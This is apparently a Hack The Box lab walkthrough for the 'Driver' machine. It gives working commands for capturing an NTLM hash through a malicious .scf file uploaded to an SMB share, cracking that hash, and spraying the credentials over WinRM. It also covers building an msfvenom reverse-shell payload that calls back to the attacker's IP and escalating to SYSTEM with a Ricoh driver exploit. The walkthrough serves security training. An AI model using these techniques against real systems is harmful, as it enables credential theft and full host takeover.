Driver

Join The Best Hacking Community Worldwide | Hack The Box

Over half a million platform members exhange ideas and methodologies. Be one of us and help the community grow even further!

www.hackthebox.com

Enumeration

Nmap

ports=$(nmap -p- --min-rate=1000 -T4 10.129.95.238 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.95.238 -oN nmap_tcp -v

The Nmap scan shows four open ports. Port 80 is hosting an IIS web server, port 135 is running Windows RPC, port 445 is used for SMB, and port 5985 is running Microsoft Windows Remote Management (WinRM).

HTTP

When we browse to port 80, we’re met with an HTTP basic authentication prompt. By trying a common set of credentials, we manage to log in with the username and password combination admin:admin.

The site explains that the MFP Firmware Update Centre performs different tests on printer firmware and drivers. Navigating to the Firmware Updates section, we can see what options are available.

It also notes that any uploaded firmware is placed on a file share and then reviewed manually by the internal team.

Because each file is manually reviewed after being uploaded to an SMB share, we may be able to take advantage of this by uploading a file that triggers a connection back to our own machine over SMB, letting us capture an NTLM hash. Since all files are opened during the review process, we can upload a Shell Command File (.scf) containing a simple instruction to request a file from our host.

Start Responder.

sudo responder -w -I tun0

Next, we upload a .scf file containing the following:

[shell]
Command=2
IconFile=\\10.10.14.7\tools\nc.ico
[Taskbar]
Command=ToggleDesktop

After some time, we receive an NTLM hash belonging to the tony user.

We store the hash and run it through John to crack it, successfully recovering the plaintext password.

Alternatively, hashcat can be used to crack the hash:

└──╼ $hashcat --help | grep -i "ntlm"
<SNIP>
   5600 | NetNTLMv2                                                  | Network Protocol
<SNIP>

└──╼ $hashcat -m 5600 tony_hash /usr/share/wordlists/rockyou.txt 
<SNIP>
TONY::DRIVER:45e3e02d68a6856b:7faa4732c<SNIP>00000000:l<SNIP>y

The hash is successfully cracked, giving us Tony’s credentials. We then perform a credential spray with crackmapexec to confirm WinRM access on the target.

└──╼ $crackmapexec winrm 10.129.95.238 -u tony -p l<SNIP>y
<SNIP>
WINRM       10.129.95.238   5985   DRIVER           [*] Windows 10 Build 10240 (name:DRIVER) (domain:DRIVER)
WINRM       10.129.95.238   5985   DRIVER           [+] DRIVER\tony:liltony (Pwn3d!)

We connect to the remote machine via WinRM, where we find the user flag on Tony’s Desktop.

Privilege Escalation

Now that we’ve got a shell on the target, we can pivot to a Meterpreter session, which is handy for hunting local privilege-escalation paths.

Generate a malicious executable that will call back to our machine and give us a shell.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=123 -f exe > shell.exe

Next, we configure a listener in msfconsole to catch the incoming connection.

sudo msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.14.7
set lport 123
run

We then upload shell.exe to the remote host through our WinRM session and run it to establish the connection.

*Evil-WinRM* PS C:\Users\tony> upload shell.exe 
                                         
Info: Uploading /home/knuckl3s/Driver/shell.exe to C:\Users\tony\shell.exe
                                         
Data: 9556 bytes of 9556 bytes copied
                                         
Info: Upload successful!
*Evil-WinRM* PS C:\Users\tony> .\shell.exe

Looking at msfconsole, we can confirm that a Meterpreter session has been established.

[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run
[*] Started reverse TCP handler on 10.10.14.7:123 
[*] Sending stage (203846 bytes) to 10.129.95.238
[*] Meterpreter session 1 opened (10.10.14.7:123 -> 10.129.95.238:49430) at 2025-09-09 00:00:44 -0500

(Meterpreter 1)(C:\Users\tony) > getuid
Server username: DRIVER\tony

Checking the running processes, we notice that we’re on session 0, which indicates the Meterpreter process is operating in a non-interactive, isolated service session.

We migrate into a process such as explorer, which is running under session ID 1, indicating it’s an interactive session.

(Meterpreter 1)(C:\Users\tony) > migrate 3116
[*] Migrating from 100 to 3116...
[*] Migration completed successfully.

With a valid interactive Meterpreter session established, we can now run the Local Exploit Suggester module and review its findings. To do this, we background the current session (bg) and then run the following commands:

bg
use /multi/recon/local_exploit_suggester
set session 1
run

We’re provided with a list of potential exploits. Since the main website referenced printer software, our focus is on those related to printers. Another clue can be uncovered by checking the PowerShell history file.

*Evil-WinRM* PS C:\Users\tony> cat C:\Users\tony\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Add-Printer -PrinterName "RICOH_PCL6" -DriverName 'RICOH PCL6 UniversalDriver V4.23' -PortName 'lpt1:'
<SNIP>

For Windows PowerShell (v5 and below), PowerShell history is saved in:

C:\Users\tony\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

For PowerShell Core (pwsh, v6+), it is usually saved in:

C:\Users\tony\AppData\Roaming\Microsoft\PowerShell\PSReadLine\ConsoleHost_history.txt

The PowerShell history shows that a command was run to add a printer, and the driver in use is RICOH PCL6 UniversalDriver V4.23. From our list of potential exploits, we identify one named ricoh_driver_privesc.

We then run the following commands through our Meterpreter session to execute the exploit on the remote machine:

use exploit/windows/local/ricoh_driver_privesc
set payload windows/x64/meterpreter/reverse_tcp
set session 1
set lhost 10.10.14.7
run

The exploit runs successfully, giving us a shell with NT AUTHORITY\SYSTEM privileges. From here, we can retrieve the root flag located on the Administrator’s Desktop.

C:\Users\Administrator\Desktop>type root.txt
type root.txt
3552<SNIP>dfff

References

• HTB Official Walkthrough for Driver